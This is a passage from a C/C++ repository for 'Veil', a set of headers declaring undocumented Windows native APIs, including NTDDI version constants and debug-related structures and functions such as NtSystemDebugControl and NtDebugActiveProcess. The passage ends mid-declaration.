--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd;cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 |
10 |
11 | Source
12 |
13 |
14 |
--------------------------------------------------------------------------------
/Veil/Veil.Test/Veil.Test.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.32228.343
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.UserMode", "Veil.Test.UserMode.vcxproj", "{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.Kernel", "Veil.Test.Kernel.vcxproj", "{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.ActiveCfg = Debug|x64
19 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.Build.0 = Debug|x64
20 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.ActiveCfg = Debug|Win32
21 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.Build.0 = Debug|Win32
22 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.ActiveCfg = Release|x64
23 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.Build.0 = Release|x64
24 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.ActiveCfg = Release|Win32
25 | {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.Build.0 = Release|Win32
26 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.ActiveCfg = Debug|x64
27 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Build.0 = Debug|x64
28 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Deploy.0 = Debug|x64
29 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.ActiveCfg = Debug|Win32
30 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Build.0 = Debug|Win32
31 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Deploy.0 = Debug|Win32
32 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.ActiveCfg = Release|x64
33 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Build.0 = Release|x64
34 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Deploy.0 = Release|x64
35 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.ActiveCfg = Release|Win32
36 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Build.0 = Release|Win32
37 | {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Deploy.0 = Release|Win32
38 | EndGlobalSection
39 | GlobalSection(SolutionProperties) = preSolution
40 | HideSolutionNode = FALSE
41 | EndGlobalSection
42 | GlobalSection(ExtensibilityGlobals) = postSolution
43 | SolutionGuid = {D3989A88-8A9B-4341-A68A-5B8762A91497}
44 | EndGlobalSection
45 | EndGlobal
46 |
--------------------------------------------------------------------------------
/Veil/Veil.h:
--------------------------------------------------------------------------------
1 | /*
2 | * PROJECT: Veil
3 | * FILE: Veil.h
4 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
5 | * samlib.dll and winsta.dll
6 | *
7 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
8 | *
9 | * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
10 | */
11 |
12 | /*
13 | * PROJECT: Mouri's Internal NT API Collections (MINT)
14 | * FILE: MINT.h
15 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
16 | * samlib.dll and winsta.dll
17 | *
18 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
19 | *
20 | * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
21 | */
22 |
23 | /*
24 | * This file is part of the Process Hacker project - https://processhacker.sf.io/
25 | *
26 | * You can redistribute this file and/or modify it under the terms of the
27 | * Attribution 4.0 International (CC BY 4.0) license.
28 | *
29 | * You must give appropriate credit, provide a link to the license, and
30 | * indicate if changes were made. You may do so in any reasonable manner, but
31 | * not in any way that suggests the licensor endorses you or your use.
32 | */
33 |
34 | #pragma once
35 |
36 | #ifdef __cplusplus
37 | #ifdef VEIL_USE_SEPARATE_NAMESPACE
38 | #define VEIL_BEGIN() namespace Veil { extern "C" {
39 | #define VEIL_END() } }
40 | #else
41 | #define VEIL_BEGIN() extern "C" {
42 | #define VEIL_END() }
43 | #endif
44 | #else
45 | #ifdef VEIL_USE_SEPARATE_NAMESPACE
46 | #define VEIL_BEGIN() namespace Veil {
47 | #define VEIL_END() }
48 | #else
49 | #define VEIL_BEGIN()
50 | #define VEIL_END()
51 | #endif
52 | #endif
53 |
54 |
55 | #ifndef __cplusplus
56 | #ifndef CINTERFACE
57 | #define CINTERFACE
58 | #endif
59 |
60 | #ifndef COBJMACROS
61 | #define COBJMACROS
62 | #endif
63 | #endif
64 |
65 | #ifndef __cplusplus
66 | // This is needed to workaround C17 preprocessor errors when using legacy versions of the Windows SDK. (dmex)
67 | #ifndef MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS
68 | #define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0
69 | #endif
70 | #endif
71 |
72 | #if !defined(_KERNEL_MODE)
73 |
74 | //
75 | // User-Mode
76 | //
77 |
78 | struct IUnknown;
79 |
80 | // This header file provides access to Win32, plus NTSTATUS values and some access mask values.
81 |
82 | #define WINDOWS_IGNORE_PACKING_MISMATCH
83 | #define UMDF_USING_NTSTATUS
84 |
85 | #include
86 | #include
87 | #include
88 |
89 | #pragma comment(lib, "ntdll.lib")
90 |
91 | #if _DEBUG
92 | #define DBG _DEBUG
93 | #endif
94 |
95 | #else
96 |
97 | //
98 | // Kernel-Mode
99 | //
100 |
101 | #include
102 | #include
103 |
104 | #endif
105 |
106 |
107 | #define NTDDI_WIN6 0x06000000 // Windows Vista
108 | #define NTDDI_WIN6SP1 0x06000100 // Windows Vista SP1
109 | #define NTDDI_WIN6SP2 0x06000200 // Windows Vista SP2
110 | #define NTDDI_WIN6SP3 0x06000300 // Windows Vista SP3
111 | #define NTDDI_WIN6SP4 0x06000400 // Windows Vista SP4
112 |
113 | #define NTDDI_VISTA NTDDI_WIN6
114 | #define NTDDI_VISTASP1 NTDDI_WIN6SP1
115 | #define NTDDI_VISTASP2 NTDDI_WIN6SP2
116 | #define NTDDI_VISTASP3 NTDDI_WIN6SP3
117 | #define NTDDI_VISTASP4 NTDDI_WIN6SP4
118 |
119 | #define NTDDI_LONGHORN NTDDI_VISTA // Windows Vista
120 |
121 | #define NTDDI_WS08 NTDDI_WIN6SP1 // Windows Server 2008
122 | #define NTDDI_WS08SP2 NTDDI_WIN6SP2 // Windows Server 2008 SP2
123 | #define NTDDI_WS08SP3 NTDDI_WIN6SP3 // Windows Server 2008 SP3
124 | #define NTDDI_WS08SP4 NTDDI_WIN6SP4 // Windows Server 2008 SP4
125 |
126 | #define NTDDI_WIN7 0x06010000 // Windows 7
127 | #define NTDDI_WIN8 0x06020000 // Windows 8
128 | #define NTDDI_WINBLUE 0x06030000 // Windows 8.1
129 | #define NTDDI_WINTHRESHOLD 0x0A000000 // Windows 10.0.10240 / 1507 / Threshold 1
130 | #define NTDDI_WIN10 0x0A000000
131 | #define NTDDI_WIN10_TH2 0x0A000001 // Windows 10.0.10586 / 1511 / Threshold 2
132 | #define NTDDI_WIN10_RS1 0x0A000002 // Windows 10.0.14393 / 1607 / Redstone 1
133 | #define NTDDI_WIN10_RS2 0x0A000003 // Windows 10.0.15063 / 1703 / Redstone 2
134 | #define NTDDI_WIN10_RS3 0x0A000004 // Windows 10.0.16299 / 1709 / Redstone 3
135 | #define NTDDI_WIN10_RS4 0x0A000005 // Windows 10.0.17134 / 1803 / Redstone 4
136 | #define NTDDI_WIN10_RS5 0x0A000006 // Windows 10.0.17763 / 1809 / Redstone 5
137 | #define NTDDI_WIN10_19H1 0x0A000007 // Windows 10.0.18362 / 1903 / 19H1
138 | #define NTDDI_WIN10_VB 0x0A000008 // Windows 10.0.19041 / 2004 / Vibranium
139 | #define NTDDI_WIN10_MN 0x0A000009 // Windows 10.0.19042 / 20H2 / Manganese
140 | #define NTDDI_WIN10_FE 0x0A00000A // Windows 10.0.19043 / 21H1 / Ferrum
141 | #define NTDDI_WIN10_CO 0x0A00000B // Windows 10.0.19044 / 21H2 / Cobalt
142 | #define NTDDI_WIN11 NTDDI_WIN10_CO // Windows 10.0.22000 / 21H2 / Cobalt
143 |
144 |
145 | #include "Veil/Veil.System.Define.h"
146 | #include "Veil/Veil.System.KernelCore.h"
147 | #include "Veil/Veil.System.Loader.h"
148 | #include "Veil/Veil.System.Executive.h"
149 | #include "Veil/Veil.System.MemoryManager.h"
150 | #include "Veil/Veil.System.ObjectManager.h"
151 | #include "Veil/Veil.System.Process.h"
152 | #include "Veil/Veil.System.Debug.h"
153 | #include "Veil/Veil.System.IOManager.h"
154 | #include "Veil/Veil.System.ALPC.h"
155 | #include "Veil/Veil.System.PowerManager.h"
156 | #include "Veil/Veil.System.ConfigurationManager.h"
157 | #include "Veil/Veil.System.Nls.h"
158 | #include "Veil/Veil.System.RuntimeLibrary.h"
159 | #include "Veil/Veil.System.Security.h"
160 | #include "Veil/Veil.System.MinCrypt.h"
161 |
--------------------------------------------------------------------------------
/Veil/Veil/Veil.System.Debug.h:
--------------------------------------------------------------------------------
1 | /*
2 | * PROJECT: Veil
3 | * FILE: Veil.h
4 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
5 | * samlib.dll and winsta.dll
6 | *
7 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
8 | *
9 | * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
10 | */
11 |
12 | /*
13 | * PROJECT: Mouri's Internal NT API Collections (MINT)
14 | * FILE: MINT.h
15 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
16 | * samlib.dll and winsta.dll
17 | *
18 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
19 | *
20 | * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
21 | */
22 |
23 | /*
24 | * This file is part of the Process Hacker project - https://processhacker.sf.io/
25 | *
26 | * You can redistribute this file and/or modify it under the terms of the
27 | * Attribution 4.0 International (CC BY 4.0) license.
28 | *
29 | * You must give appropriate credit, provide a link to the license, and
30 | * indicate if changes were made. You may do so in any reasonable manner, but
31 | * not in any way that suggests the licensor endorses you or your use.
32 | */
33 |
34 | #pragma once
35 |
36 | // Warnings which disabled for compiling
37 | #if _MSC_VER >= 1200
38 | #pragma warning(push)
39 | // nonstandard extension used : nameless struct/union
40 | #pragma warning(disable:4201)
41 | // 'struct_name' : structure was padded due to __declspec(align())
42 | #pragma warning(disable:4324)
43 | // 'enumeration': a forward declaration of an unscoped enumeration must have an
44 | // underlying type (int assumed)
45 | #pragma warning(disable:4471)
46 | #endif
47 |
48 | VEIL_BEGIN()
49 |
50 | #if (_MSC_FULL_VER >= 150030729) && !defined(IMPORT_NATIVE_DBG_BREAK)
51 |
52 | #define DbgBreakPoint __debugbreak
53 |
54 | #else
55 |
56 | __analysis_noreturn
57 | VOID
58 | NTAPI
59 | DbgBreakPoint(
60 | VOID
61 | );
62 | #endif
63 |
64 | #ifndef _KERNEL_MODE
65 | NTSYSAPI
66 | VOID
67 | NTAPI
68 | DbgUserBreakPoint(
69 | VOID
70 | );
71 | #endif // !_KERNEL_MODE
72 |
73 | #define DBG_STATUS_CONTROL_C 1
74 | #define DBG_STATUS_SYSRQ 2
75 | #define DBG_STATUS_BUGCHECK_FIRST 3
76 | #define DBG_STATUS_BUGCHECK_SECOND 4
77 | #define DBG_STATUS_FATAL 5
78 | #define DBG_STATUS_DEBUG_CONTROL 6
79 | #define DBG_STATUS_WORKER 7
80 |
81 | ULONG
82 | __cdecl
83 | DbgPrint(
84 | _In_z_ _Printf_format_string_ PCSTR Format,
85 | ...
86 | );
87 |
88 | NTSYSAPI
89 | ULONG
90 | __cdecl
91 | DbgPrintEx(
92 | _In_ ULONG ComponentId,
93 | _In_ ULONG Level,
94 | _In_z_ _Printf_format_string_ PCSTR Format,
95 | ...
96 | );
97 |
98 | NTSYSAPI
99 | ULONG
100 | NTAPI
101 | vDbgPrintEx(
102 | _In_ ULONG ComponentId,
103 | _In_ ULONG Level,
104 | _In_z_ PCCH Format,
105 | _In_ va_list arglist
106 | );
107 |
108 | NTSYSAPI
109 | ULONG
110 | NTAPI
111 | vDbgPrintExWithPrefix(
112 | _In_z_ PCCH Prefix,
113 | _In_ ULONG ComponentId,
114 | _In_ ULONG Level,
115 | _In_z_ PCCH Format,
116 | _In_ va_list arglist
117 | );
118 |
119 | NTSYSAPI
120 | ULONG
121 | __cdecl
122 | DbgPrintReturnControlC(
123 | _In_z_ _Printf_format_string_ PCSTR Format,
124 | ...
125 | );
126 |
127 | NTSYSAPI
128 | NTSTATUS
129 | NTAPI
130 | DbgQueryDebugFilterState(
131 | _In_ ULONG ComponentId,
132 | _In_ ULONG Level
133 | );
134 |
135 | NTSYSAPI
136 | NTSTATUS
137 | NTAPI
138 | DbgSetDebugFilterState(
139 | _In_ ULONG ComponentId,
140 | _In_ ULONG Level,
141 | _In_ BOOLEAN State
142 | );
143 |
144 | NTSYSAPI
145 | ULONG
146 | NTAPI
147 | DbgPrompt(
148 | _In_z_ PCCH Prompt,
149 | _Out_writes_bytes_(Length) PCH Response,
150 | _In_ ULONG Length
151 | );
152 |
153 | //
154 | // System Debug
155 | //
156 |
157 | // private
158 | typedef enum _SYSDBG_COMMAND
159 | {
160 | SysDbgQueryModuleInformation,
161 | SysDbgQueryTraceInformation,
162 | SysDbgSetTracepoint,
163 | SysDbgSetSpecialCall,
164 | SysDbgClearSpecialCalls,
165 | SysDbgQuerySpecialCalls,
166 | SysDbgBreakPoint,
167 | SysDbgQueryVersion,
168 | SysDbgReadVirtual,
169 | SysDbgWriteVirtual,
170 | SysDbgReadPhysical,
171 | SysDbgWritePhysical,
172 | SysDbgReadControlSpace,
173 | SysDbgWriteControlSpace,
174 | SysDbgReadIoSpace,
175 | SysDbgWriteIoSpace,
176 | SysDbgReadMsr,
177 | SysDbgWriteMsr,
178 | SysDbgReadBusData,
179 | SysDbgWriteBusData,
180 | SysDbgCheckLowMemory,
181 | SysDbgEnableKernelDebugger,
182 | SysDbgDisableKernelDebugger,
183 | SysDbgGetAutoKdEnable,
184 | SysDbgSetAutoKdEnable,
185 | SysDbgGetPrintBufferSize,
186 | SysDbgSetPrintBufferSize,
187 | SysDbgGetKdUmExceptionEnable,
188 | SysDbgSetKdUmExceptionEnable,
189 | SysDbgGetTriageDump,
190 | SysDbgGetKdBlockEnable,
191 | SysDbgSetKdBlockEnable,
192 | SysDbgRegisterForUmBreakInfo,
193 | SysDbgGetUmBreakPid,
194 | SysDbgClearUmBreakPid,
195 | SysDbgGetUmAttachPid,
196 | SysDbgClearUmAttachPid,
197 | SysDbgGetLiveKernelDump
198 | } SYSDBG_COMMAND, * PSYSDBG_COMMAND;
199 |
200 | typedef struct _SYSDBG_VIRTUAL
201 | {
202 | PVOID Address;
203 | PVOID Buffer;
204 | ULONG Request;
205 | } SYSDBG_VIRTUAL, * PSYSDBG_VIRTUAL;
206 |
207 | typedef struct _SYSDBG_PHYSICAL
208 | {
209 | PHYSICAL_ADDRESS Address;
210 | PVOID Buffer;
211 | ULONG Request;
212 | } SYSDBG_PHYSICAL, * PSYSDBG_PHYSICAL;
213 |
214 | typedef struct _SYSDBG_CONTROL_SPACE
215 | {
216 | ULONG64 Address;
217 | PVOID Buffer;
218 | ULONG Request;
219 | ULONG Processor;
220 | } SYSDBG_CONTROL_SPACE, * PSYSDBG_CONTROL_SPACE;
221 |
222 | typedef struct _SYSDBG_IO_SPACE
223 | {
224 | ULONG64 Address;
225 | PVOID Buffer;
226 | ULONG Request;
227 | enum _INTERFACE_TYPE InterfaceType;
228 | ULONG BusNumber;
229 | ULONG AddressSpace;
230 | } SYSDBG_IO_SPACE, * PSYSDBG_IO_SPACE;
231 |
232 | typedef struct _SYSDBG_MSR
233 | {
234 | ULONG Msr;
235 | ULONG64 Data;
236 | } SYSDBG_MSR, * PSYSDBG_MSR;
237 |
238 | typedef struct _SYSDBG_BUS_DATA
239 | {
240 | ULONG Address;
241 | PVOID Buffer;
242 | ULONG Request;
243 | enum _BUS_DATA_TYPE BusDataType;
244 | ULONG BusNumber;
245 | ULONG SlotNumber;
246 | } SYSDBG_BUS_DATA, * PSYSDBG_BUS_DATA;
247 |
248 | // private
249 | typedef struct _SYSDBG_TRIAGE_DUMP
250 | {
251 | ULONG Flags;
252 | ULONG BugCheckCode;
253 | ULONG_PTR BugCheckParam1;
254 | ULONG_PTR BugCheckParam2;
255 | ULONG_PTR BugCheckParam3;
256 | ULONG_PTR BugCheckParam4;
257 | ULONG ProcessHandles;
258 | ULONG ThreadHandles;
259 | PHANDLE Handles;
260 | } SYSDBG_TRIAGE_DUMP, * PSYSDBG_TRIAGE_DUMP;
261 |
262 | // private
263 | typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS
264 | {
265 | struct
266 | {
267 | ULONG UseDumpStorageStack : 1;
268 | ULONG CompressMemoryPagesData : 1;
269 | ULONG IncludeUserSpaceMemoryPages : 1;
270 | ULONG AbortIfMemoryPressure : 1; // REDSTONE4
271 | ULONG Reserved : 28;
272 | };
273 | ULONG AsUlong;
274 | } SYSDBG_LIVEDUMP_CONTROL_FLAGS, * PSYSDBG_LIVEDUMP_CONTROL_FLAGS;
275 |
276 | // private
277 | typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES
278 | {
279 | struct
280 | {
281 | ULONG HypervisorPages : 1;
282 | ULONG Reserved : 31;
283 | };
284 | ULONG AsUlong;
285 | } SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, * PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES;
286 |
287 | #define SYSDBG_LIVEDUMP_CONTROL_VERSION 1
288 |
289 | // private
290 | typedef struct _SYSDBG_LIVEDUMP_CONTROL
291 | {
292 | ULONG Version;
293 | ULONG BugCheckCode;
294 | ULONG_PTR BugCheckParam1;
295 | ULONG_PTR BugCheckParam2;
296 | ULONG_PTR BugCheckParam3;
297 | ULONG_PTR BugCheckParam4;
298 | HANDLE DumpFileHandle;
299 | HANDLE CancelEventHandle;
300 | SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags;
301 | SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl;
302 | } SYSDBG_LIVEDUMP_CONTROL, * PSYSDBG_LIVEDUMP_CONTROL;
303 |
304 | __kernel_entry NTSYSCALLAPI
305 | NTSTATUS
306 | NTAPI
307 | NtSystemDebugControl(
308 | _In_ SYSDBG_COMMAND Command,
309 | _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,
310 | _In_ ULONG InputBufferLength,
311 | _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
312 | _In_ ULONG OutputBufferLength,
313 | _Out_opt_ PULONG ReturnLength
314 | );
315 |
316 | _IRQL_requires_max_(PASSIVE_LEVEL)
317 | NTSYSAPI
318 | NTSTATUS
319 | NTAPI
320 | ZwSystemDebugControl(
321 | _In_ SYSDBG_COMMAND Command,
322 | _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,
323 | _In_ ULONG InputBufferLength,
324 | _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
325 | _In_ ULONG OutputBufferLength,
326 | _Out_opt_ PULONG ReturnLength
327 | );
328 |
329 | //
330 | // Hard errors
331 | //
332 |
333 | typedef enum _HARDERROR_RESPONSE_OPTION
334 | {
335 | OptionAbortRetryIgnore,
336 | OptionOk,
337 | OptionOkCancel,
338 | OptionRetryCancel,
339 | OptionYesNo,
340 | OptionYesNoCancel,
341 | OptionShutdownSystem,
342 | OptionOkNoWait,
343 | OptionCancelTryContinue
344 | } HARDERROR_RESPONSE_OPTION;
345 |
346 | typedef enum _HARDERROR_RESPONSE
347 | {
348 | ResponseReturnToCaller,
349 | ResponseNotHandled,
350 | ResponseAbort,
351 | ResponseCancel,
352 | ResponseIgnore,
353 | ResponseNo,
354 | ResponseOk,
355 | ResponseRetry,
356 | ResponseYes,
357 | ResponseTryAgain,
358 | ResponseContinue
359 | } HARDERROR_RESPONSE;
360 |
361 | #define HARDERROR_OVERRIDE_ERRORMODE 0x10000000
362 |
363 | __kernel_entry NTSYSCALLAPI
364 | NTSTATUS
365 | NTAPI
366 | NtRaiseHardError(
367 | _In_ NTSTATUS ErrorStatus,
368 | _In_ ULONG NumberOfParameters,
369 | _In_ ULONG UnicodeStringParameterMask,
370 | _In_reads_(NumberOfParameters) PULONG_PTR Parameters,
371 | _In_ ULONG ValidResponseOptions,
372 | _Out_ PULONG Response
373 | );
374 |
375 | _IRQL_requires_max_(PASSIVE_LEVEL)
376 | NTSYSAPI
377 | NTSTATUS
378 | NTAPI
379 | ZwRaiseHardError(
380 | _In_ NTSTATUS ErrorStatus,
381 | _In_ ULONG NumberOfParameters,
382 | _In_ ULONG UnicodeStringParameterMask,
383 | _In_reads_(NumberOfParameters) PULONG_PTR Parameters,
384 | _In_ ULONG ValidResponseOptions,
385 | _Out_ PULONG Response
386 | );
387 |
388 | //
389 | // Exception
390 | //
391 |
392 | __kernel_entry NTSYSCALLAPI
393 | NTSTATUS
394 | NTAPI
395 | NtRaiseException(
396 | _In_ PEXCEPTION_RECORD ExceptionRecord,
397 | _In_ PCONTEXT ContextRecord,
398 | _In_ BOOLEAN FirstChance
399 | );
400 |
401 | _IRQL_requires_max_(PASSIVE_LEVEL)
402 | NTSYSAPI
403 | NTSTATUS
404 | NTAPI
405 | ZwRaiseException(
406 | _In_ PEXCEPTION_RECORD ExceptionRecord,
407 | _In_ PCONTEXT ContextRecord,
408 | _In_ BOOLEAN FirstChance
409 | );
410 |
411 | //
412 | // Debug Filter
413 | //
414 |
415 | __kernel_entry NTSYSCALLAPI
416 | NTSTATUS
417 | NTAPI
418 | NtQueryDebugFilterState(
419 | _In_ ULONG ComponentId,
420 | _In_ ULONG Level
421 | );
422 |
423 | _IRQL_requires_max_(PASSIVE_LEVEL)
424 | NTSYSAPI
425 | NTSTATUS
426 | NTAPI
427 | ZwQueryDebugFilterState(
428 | _In_ ULONG ComponentId,
429 | _In_ ULONG Level
430 | );
431 |
432 | __kernel_entry NTSYSCALLAPI
433 | NTSTATUS
434 | NTAPI
435 | NtSetDebugFilterState(
436 | _In_ ULONG ComponentId,
437 | _In_ ULONG Level,
438 | _In_ BOOLEAN State
439 | );
440 |
441 | _IRQL_requires_max_(PASSIVE_LEVEL)
442 | NTSYSAPI
443 | NTSTATUS
444 | NTAPI
445 | ZwSetDebugFilterState(
446 | _In_ ULONG ComponentId,
447 | _In_ ULONG Level,
448 | _In_ BOOLEAN State
449 | );
450 |
451 | //
452 | // Debug Object
453 | //
454 |
455 | typedef struct _DBGKM_EXCEPTION
456 | {
457 | EXCEPTION_RECORD ExceptionRecord;
458 | ULONG FirstChance;
459 | } DBGKM_EXCEPTION, * PDBGKM_EXCEPTION;
460 |
461 | typedef struct _DBGKM_CREATE_THREAD
462 | {
463 | ULONG SubSystemKey;
464 | PVOID StartAddress;
465 | } DBGKM_CREATE_THREAD, * PDBGKM_CREATE_THREAD;
466 |
467 | typedef struct _DBGKM_CREATE_PROCESS
468 | {
469 | ULONG SubSystemKey;
470 | HANDLE FileHandle;
471 | PVOID BaseOfImage;
472 | ULONG DebugInfoFileOffset;
473 | ULONG DebugInfoSize;
474 | DBGKM_CREATE_THREAD InitialThread;
475 | } DBGKM_CREATE_PROCESS, * PDBGKM_CREATE_PROCESS;
476 |
477 | typedef struct _DBGKM_EXIT_THREAD
478 | {
479 | NTSTATUS ExitStatus;
480 | } DBGKM_EXIT_THREAD, * PDBGKM_EXIT_THREAD;
481 |
482 | typedef struct _DBGKM_EXIT_PROCESS
483 | {
484 | NTSTATUS ExitStatus;
485 | } DBGKM_EXIT_PROCESS, * PDBGKM_EXIT_PROCESS;
486 |
487 | typedef struct _DBGKM_LOAD_DLL
488 | {
489 | HANDLE FileHandle;
490 | PVOID BaseOfDll;
491 | ULONG DebugInfoFileOffset;
492 | ULONG DebugInfoSize;
493 | PVOID NamePointer;
494 | } DBGKM_LOAD_DLL, * PDBGKM_LOAD_DLL;
495 |
496 | typedef struct _DBGKM_UNLOAD_DLL
497 | {
498 | PVOID BaseAddress;
499 | } DBGKM_UNLOAD_DLL, * PDBGKM_UNLOAD_DLL;
500 |
501 | typedef enum _DBG_STATE
502 | {
503 | DbgIdle,
504 | DbgReplyPending,
505 | DbgCreateThreadStateChange,
506 | DbgCreateProcessStateChange,
507 | DbgExitThreadStateChange,
508 | DbgExitProcessStateChange,
509 | DbgExceptionStateChange,
510 | DbgBreakpointStateChange,
511 | DbgSingleStepStateChange,
512 | DbgLoadDllStateChange,
513 | DbgUnloadDllStateChange
514 | } DBG_STATE, * PDBG_STATE;
515 |
516 | typedef struct _DBGUI_CREATE_THREAD
517 | {
518 | HANDLE HandleToThread;
519 | DBGKM_CREATE_THREAD NewThread;
520 | } DBGUI_CREATE_THREAD, * PDBGUI_CREATE_THREAD;
521 |
522 | typedef struct _DBGUI_CREATE_PROCESS
523 | {
524 | HANDLE HandleToProcess;
525 | HANDLE HandleToThread;
526 | DBGKM_CREATE_PROCESS NewProcess;
527 | } DBGUI_CREATE_PROCESS, * PDBGUI_CREATE_PROCESS;
528 |
529 | typedef struct _DBGUI_WAIT_STATE_CHANGE
530 | {
531 | DBG_STATE NewState;
532 | CLIENT_ID AppClientId;
533 | union
534 | {
535 | DBGKM_EXCEPTION Exception;
536 | DBGUI_CREATE_THREAD CreateThread;
537 | DBGUI_CREATE_PROCESS CreateProcessInfo;
538 | DBGKM_EXIT_THREAD ExitThread;
539 | DBGKM_EXIT_PROCESS ExitProcess;
540 | DBGKM_LOAD_DLL LoadDll;
541 | DBGKM_UNLOAD_DLL UnloadDll;
542 | } StateInfo;
543 | } DBGUI_WAIT_STATE_CHANGE, * PDBGUI_WAIT_STATE_CHANGE;
544 |
545 | #define DEBUG_READ_EVENT 0x0001
546 | #define DEBUG_PROCESS_ASSIGN 0x0002
547 | #define DEBUG_SET_INFORMATION 0x0004
548 | #define DEBUG_QUERY_INFORMATION 0x0008
549 | #define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \
550 | DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \
551 | DEBUG_QUERY_INFORMATION)
552 |
553 | #define DEBUG_KILL_ON_CLOSE 0x1
554 |
555 | typedef enum _DEBUGOBJECTINFOCLASS
556 | {
557 | DebugObjectUnusedInformation,
558 | DebugObjectKillProcessOnExitInformation, // s: ULONG
559 | MaxDebugObjectInfoClass
560 | } DEBUGOBJECTINFOCLASS, * PDEBUGOBJECTINFOCLASS;
561 |
562 | __kernel_entry NTSYSCALLAPI
563 | NTSTATUS
564 | NTAPI
565 | NtCreateDebugObject(
566 | _Out_ PHANDLE DebugObjectHandle,
567 | _In_ ACCESS_MASK DesiredAccess,
568 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
569 | _In_ ULONG Flags
570 | );
571 |
572 | _IRQL_requires_max_(PASSIVE_LEVEL)
573 | NTSYSAPI
574 | NTSTATUS
575 | NTAPI
576 | ZwCreateDebugObject(
577 | _Out_ PHANDLE DebugObjectHandle,
578 | _In_ ACCESS_MASK DesiredAccess,
579 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
580 | _In_ ULONG Flags
581 | );
582 |
583 | __kernel_entry NTSYSCALLAPI
584 | NTSTATUS
585 | NTAPI
586 | NtDebugActiveProcess(
587 | _In_ HANDLE ProcessHandle,
588 | _In_ HANDLE DebugObjectHandle
589 | );
590 |
591 | _IRQL_requires_max_(PASSIVE_LEVEL)
592 | NTSYSAPI
593 | NTSTATUS
594 | NTAPI
595 | ZwDebugActiveProcess(
596 | _In_ HANDLE ProcessHandle,
597 | _In_ HANDLE DebugObjectHandle
598 | );
599 |
600 | __kernel_entry NTSYSCALLAPI
601 | NTSTATUS
602 | NTAPI
603 | NtDebugContinue(
604 | _In_ HANDLE DebugObjectHandle,
605 | _In_ PCLIENT_ID ClientId,
606 | _In_ NTSTATUS ContinueStatus
607 | );
608 |
609 | _IRQL_requires_max_(PASSIVE_LEVEL)
610 | NTSYSAPI
611 | NTSTATUS
612 | NTAPI
613 | ZwDebugContinue(
614 | _In_ HANDLE DebugObjectHandle,
615 | _In_ PCLIENT_ID ClientId,
